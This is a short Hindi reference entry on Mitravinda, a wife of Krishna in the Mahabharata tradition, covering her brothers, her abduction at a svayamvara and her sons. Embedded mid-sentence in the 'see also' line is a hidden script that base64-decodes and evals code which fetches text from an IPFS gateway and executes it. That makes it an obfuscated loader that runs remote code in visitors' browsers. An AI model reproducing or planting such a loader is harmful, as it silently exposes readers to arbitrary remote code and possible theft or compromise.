मित्रविंदा

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मित्रविंदा भगवान श्रीकृष्ण की कई पत्नियों में से एक थीं। श्रीकृष्ण मित्रविंदा के दोनों भाई, विंद-अनुविंद को पराजित कर इनका हरण कर ले गए और विवाह कर लिया।

  • अवन्ती (उज्जैन) देश के राजा विंद और अनुविंद थे। वे दुर्योधन के वशवर्ती तथा उसके अनुयायी थे।
  • विन्द-अनुविन्द की बहन मित्रविंदा ने स्वयंवर में भगवान श्रीकृष्ण को ही अपना पति बनाना चाहा, परन्तु विंद और अनुविंद ने उसे रोक दिया।
  • मित्रविंदा श्रीकृष्ण की फुआ राजाधिदेवी की कन्या थीं।
  • भगवान श्रीकृष्ण राजाओं की भरी सभा में मित्रविंदा को बलपूर्वक हर ले गये।
  • मित्रविंदा- 'वृक', 'हर्ष', 'अनिल', 'गृध्र', 'वर्धन', 'अन्नाद', 'महाश', 'पावन', 'वह्नि' और 'क्षुधि' इन आठ पुत्रों की माता थीं।

इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: रुक्मिणी, सत्यभामा, जांबवती एवं कालिंदी


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टीका टिप्पणी और संदर्भ

महाभारत शब्दकोश |लेखक: एस.पी. परमहंस |प्रकाशक: दिल्ली पुस्तक सदन, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 28 |


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